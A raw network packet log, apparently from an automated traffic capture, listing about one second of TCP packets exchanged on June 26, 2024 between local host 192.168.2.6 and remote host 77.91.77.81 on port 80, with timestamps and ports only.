Jun 26, 2024 08:16:30.679425001 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:30.679981947 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.680026054 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:30.796405077 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.796433926 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.796441078 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.796463966 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:30.796483994 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:30.796509981 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.796516895 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.796546936 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.796551943 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:30.796552896 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.796575069 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:30.796586037 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:30.796704054 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.796710014 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.796720982 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.796726942 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.796752930 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:30.796776056 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:30.797208071 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.797262907 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.797275066 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.797278881 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:30.797303915 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:30.797318935 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:30.797362089 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.797369003 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.797380924 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.797385931 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.797409058 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:30.797442913 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:30.797996044 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.798002958 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.798016071 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.798053026 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:30.798074007 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.798079967 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.798091888 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.798099041 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.798129082 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:30.798162937 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:30.798310041 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.798355103 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:30.798845053 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.798883915 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.798888922 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:30.798891068 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.798944950 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:30.798996925 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.799002886 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.799015045 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.799021959 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.799041986 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:30.799072027 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:30.799185038 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.799228907 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:30.799860954 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.799907923 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:30.799918890 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.799925089 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.799964905 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:30.800054073 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.800060987 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.800071955 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.800077915 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.800110102 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:30.800124884 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.800162077 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:30.800954103 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.800961018 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.800972939 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.801007986 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:30.801070929 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.801076889 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.801088095 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.801120043 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:30.801615000 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.801620960 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.801666975 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:30.919114113 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.919188023 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.919198036 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.919215918 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.919222116 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.919253111 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:30.919353962 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:30.919855118 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.919866085 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.919877052 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.919929028 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.919959068 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:30.919996023 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:30.920078039 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.920089006 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.920100927 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.920111895 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.920121908 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.920140028 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:30.920207977 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:30.920413017 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.920424938 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.920434952 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.920444965 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.920455933 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.920485020 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:30.920572042 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.920588970 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.920598030 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.920598984 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:30.920608997 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.920620918 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.920624971 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:30.920631886 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.920643091 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.920645952 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:30.920653105 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:30.920655012 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.920686960 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.920696974 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.920706987 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:30.920706987 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:30.920708895 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.920764923 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:30.920764923 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:30.921062946 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.921075106 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.921086073 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.921097040 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.921108961 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.921154022 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.921156883 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:30.921188116 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:30.921348095 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.921359062 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.921371937 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.921375036 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:30.921381950 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.921392918 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.921402931 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.921406984 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:30.921413898 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.921425104 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:30.921438932 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:30.921524048 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:30.921854973 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.921865940 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.921870947 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.921890974 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.921910048 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.921920061 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.921922922 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:30.921931982 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.921941996 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.921945095 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:30.921967030 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:30.921967030 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.921978951 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.921991110 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.921994925 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:30.922002077 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.922003031 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:30.922054052 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:30.922054052 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:30.924144030 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.924175024 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.924187899 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.924204111 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:30.924292088 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:30.924300909 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.924310923 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.924321890 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.924333096 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.924354076 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:30.924422979 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.924433947 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.924452066 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:30.924556017 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:30.924562931 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.924573898 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.924587965 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.924598932 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:30.924599886 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.924612999 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.924623966 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:30.924627066 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.924639940 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.924652100 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:30.924685955 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:30.924685955 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:30.924752951 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.924854994 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.924874067 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.924884081 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.924895048 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.924906969 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.924917936 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.924921036 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:30.924940109 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:30.924995899 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:30.925009012 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.925019979 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.925033092 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.925051928 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.925061941 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.925085068 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:30.925113916 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:30.925184011 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.008238077 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.008269072 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.008280039 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.008318901 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.008338928 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.008342028 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.008351088 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.008399010 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.008410931 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.008423090 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.008424044 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.008438110 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.008497953 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.008677006 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.008729935 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.008773088 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.008785009 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.008830070 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.008862972 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.008874893 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.008886099 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.008891106 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.008908033 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.008920908 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.008932114 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.008943081 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.008953094 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.008994102 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.008994102 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.041785955 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.041801929 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.041814089 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.041843891 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.041856050 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.041867018 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.041896105 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.041934013 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.042433977 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.042565107 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.042582035 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.042587996 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.042591095 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.042597055 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.042608976 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.042619944 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.042623997 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.042675018 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.042675018 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.042783976 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.042795897 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.042809010 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.042819977 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.042834044 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.042845964 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.042851925 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.042857885 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.042860031 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.042871952 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.042895079 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.043056965 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.043067932 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.043080091 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.043090105 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.043092012 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.043107033 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.043112993 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.043118954 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.043121099 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.043124914 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.043129921 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.043129921 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.043134928 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.043154955 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.043469906 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.043504000 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.043509960 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.043528080 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.043540955 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.043551922 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.043561935 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.043567896 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.043574095 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.043574095 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.043586016 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.043597937 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.043601990 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.043625116 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.043654919 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.043654919 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.043836117 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.043848991 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.043884993 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.043929100 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.043939114 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.043950081 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.043960094 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.043961048 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.043972015 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.043977976 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.043982983 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.043999910 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.044348001 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.044358969 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.044369936 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.044379950 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.044404030 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.044409990 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.044415951 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.044425964 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.044436932 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.044449091 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.044451952 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.044457912 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.044459105 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.044471025 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.044487953 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.044495106 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.044500113 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.044521093 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.044523954 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.044534922 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.044547081 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.044559956 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.044559956 CEST	49715	80	192.168.2.6	77.91.77.81
